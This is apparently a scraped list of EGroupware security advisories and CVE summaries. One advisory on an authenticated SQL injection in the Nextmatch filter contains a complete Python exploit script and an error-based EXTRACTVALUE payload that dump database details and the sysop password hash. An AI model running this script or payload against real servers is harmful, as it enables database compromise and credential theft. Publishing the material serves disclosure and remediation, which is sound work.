EGroupware is a web-based groupware server written in PHP. Prior to 23.1.20260601 and 26.6.20260616, login() in api/src/Auth/Saml.php accepts the unauthenticated idp request parameter when it merely begins with the HTTPS scheme and passes it to SimpleSAMLphp's requireAuth() without checking the configured trusted identity providers. A malicious actor can redirect the sign-in flow to an attacker-controlled identity provider, enabling credential phishing and, when the SimpleSAMLphp deployment does not strictly validate identity-provider metadata, forged SAML assertions as arbitrary users, including administrators. This issue is fixed in versions 23.1.20260601 and 26.6.20260616.
Summary Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing
A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the isint() security check used by the application.
Details Root Cause Analysis The vulnerability exists in how the database abstraction layer (Api\Db) and high-level storage classes (Api\Storage\Base, infologso) process the colfilter array used in "Nextmatch" widgets.
The application attempts to validate input using isint($key) to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's jsondecode automatically converts numeric string keys (e.g., "0") into native integers.
Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (isint returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.
Vulnerable Code Locations
1. File: sources/egroupware/api/src/Db.php (Approx. Line 1776) Method: columndataimplode
php // In function columndataimplode elseif (isint($key) && $usekey===True) { if (empty($data)) continue; // VULNERABLE: $data is appended directly to SQL without sanitization $values[] = $data; }
2. File: sources/egroupware/api/src/Storage/Base.php (Approx. Line 1134) Method: parsesearch
php // In function parsesearch foreach($criteria as $col => $val) { // VULNERABLE: isint() returns true for JSON keys like "0" if (isint($col)) { $query[] = $val; } // ... }
PoC The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance (demo.egroupware.net).
Automated Exploit Script: The following script automates the login, execid extraction, and data exfiltration via Error-Based SQL Injection.
python import requests import re import sys import urllib3
Suppress SSL warnings urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)
CLI Configuration BASEURL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGINUSER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGINPASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" })
def extractforminputs(html): inputs = {} matches = re.findall(r'<input[^>]+>', html) for match in matches: namem = re.search(r'name="\'["\']', match) valuem = re.search(r'value="\'["\']', match) if namem: name = namem.group(1) value = valuem.group(1) if valuem else "" inputs[name] = value return inputs
def login(): print(f"[] Target: {BASEURL}") loginurl = f"{BASEURL}/login.php" try: print("[] Retrieving login form...") rget = session.get(loginurl, timeout=10) data = extractforminputs(rget.text) data.update({ "login": LOGINUSER, "passwd": LOGINPASS, "submitit": "Login", "passwdtype": "text" }) if 'cancel' in data: del data['cancel']
print(f"[] Attempting login as: {LOGINUSER}...") rpost = session.post(loginurl, data=data, allowredirects=True, timeout=15) if 'name="passwd"' in rpost.text and 'logout.php' not in rpost.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False
def getexecid(): print("[] Retrieving execid...") url = f"{BASEURL}/index.php?menuaction=addressbook.addressbookui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplateexecid(?:"|"|\\")\s:\s(?:"|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] execid pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None
def runquery(eid, sql): full = "" url = f"{BASEURL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajaxgetrows" print(f"[] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunksql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunksql}), 0x7e))" postdata = { "request": { "parameters": [eid, {"start": 0, "numrows": 1}, {"colfilter": {"0": payload}}] } } try: r = session.post(url, json=postdata, timeout=10) match = re.search(r"XPATH syntax error: '~(.)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) < 1: break else: break except Exception as e: print(f"[-] Query error: {e}") break return full if full else "NO DATA / ERROR"
if name == "main": if login(): eid = getexecid() if eid: print("\n" + "="40) print(" SQL INJECTION RESULTS ") print("="40) print(f"[+] DB Version: {runquery(eid, 'SELECT @@version')}") print(f"[+] DB Name: {runquery(eid, 'SELECT database()')}") print(f"[+] DB User: {runquery(eid, 'SELECT user()')}") print("\n[] Retrieving hash for 'sysop' user (if exists):") res = runquery(eid, "SELECT CONCAT(accountlid,':',accountpwd) FROM egwaccounts WHERE accountlid='sysop'") print(f" > {res}") print("="40 + "\n")
Proof of Verification on demo.egroupware.net:
The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />
Impact: Attackers with low-privileged access can fully compromise the database. This allows for: Confidentiality Loss: Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets). Integrity Loss: Modifying or deleting arbitrary data within the application. Availability Loss: Potential to drop tables or corrupt data.
Remediation 1. Input Validation (Whitelisting) Do not rely solely on isint() for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict whitelist (allowlist) of allowed column names for filtering in Nextmatch widgets. If the key/column is not in the whitelist, reject the request.
2. Parameter Binding Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.
3. Strict Type Checking When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using === for strict comparison or filtervar) before being used in SQL generation logic.
Credits
Reported by Łukasz Rybak
EGroupware before 23.1.20240624 mishandles an ORDER BY clause. This leads to json.php menuaction=EGroupware\Api\Etemplate\Widget\Nextmatch::ajaxgetrows sort.id SQL injection by authenticated users for Address Book or InfoLog sorting.
eGroupware Community Edition Stored XSS vulnerability
phpgwapi/js/fckeditor/editor/dialog/fckspellerpages/spellerpages/serverscripts/spellchecker.php in EGroupware 1.4.001+.002; 1.6.001+.002 and possibly other versions before 1.6.003; and EPL 9.1 before 9.1.20100309 and 9.2 before 9.2.20100309; allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) aspellpath or (2) spellcheckerlang parameters.
Moodle vulnerable to Cross-site scripting
SQL injection vulnerability in phpgwapi/js/dhtmlxtree/samples/withdb/loaddetails.php in EGroupware Enterprise Line (EPL) before 11.1.20110804-1 and EGroupware Community Edition before 1.8.001.20110805 allows remote attackers to execute arbitrary SQL commands via the id parameter.
Cross-site scripting (XSS) vulnerability in login.php in EGroupware 1.4.001+.002; 1.6.001+.002 and possibly other versions before 1.6.003; and EPL 9.1 before 9.1.20100309 and 9.2 before 9.2.20100309; allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
Cross-site scripting (XSS) vulnerability in phpgwapi/inc/commonfunctionsinc.php in eGroupware before 1.8.004.20120405 allows remote attackers to inject arbitrary web script or HTML via the menuaction parameter to etemplate/processexec.php. NOTE: some of these details are obtained from third party information.
Cross-site scripting (XSS) vulnerability in phpgwapi/js/jscalendar/test.php in EGroupware Enterprise Line (EPL) before 11.1.20110804-1 and EGroupware Community Edition before 1.8.001.20110805 allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
Multiple cross-site scripting (XSS) vulnerabilities in eGroupWare 1.0.00.003 and earlier allow remote attackers to inject arbitrary web script or HTML via (1) date or search text field in the calendar module, (2) Field parameter, Filter parameter, QField parameter, Start parameter or Search field in the address module, (3) Subject field in the message module or (4) Subject field in the Ticket module.
Multiple SQL injection vulnerabilities in index.php in eGroupware before 1.0.0.007 allow remote attackers to execute arbitrary SQL commands via the (1) filter or (2) catsapp parameter.
Multiple cross-site scripting (XSS) vulnerabilities in eGroupware before 1.0.0.007 allow remote attackers to inject arbitrary web script or HTML via the (1) abid, (2) page, (3) type, or (4) lang parameter to index.php or (5) categoryid parameter.
eGroupWare 1.0.6 and earlier, when an e-mail is composed with an attachment but not sent, will send that attachment in the next e-mail, which may cause sensitive information to be sent to the wrong recipient.
Multiple cross-site scripting (XSS) vulnerabilities in eGroupWare 1.4.001 allow remote attackers to inject arbitrary web script or HTML via the catdata[color] parameter to (1) preferences/inc/class.uicategories.inc.php and (2) admin/inc/class.uicategories.inc.php.
Unspecified vulnerability in eGroupWare before 1.2.107-2 has unknown impact and attack vectors related to ADOdb. NOTE: due to lack of details from the vendor, it is uncertain whether this issue is already covered by another CVE identifier.
Unspecified vulnerability in Walter Zorn wztooltip.js (aka wztooltips) before 4.01, as used by eGroupWare before 1.2.107-2 and other packages, has unknown impact and remote attack vectors.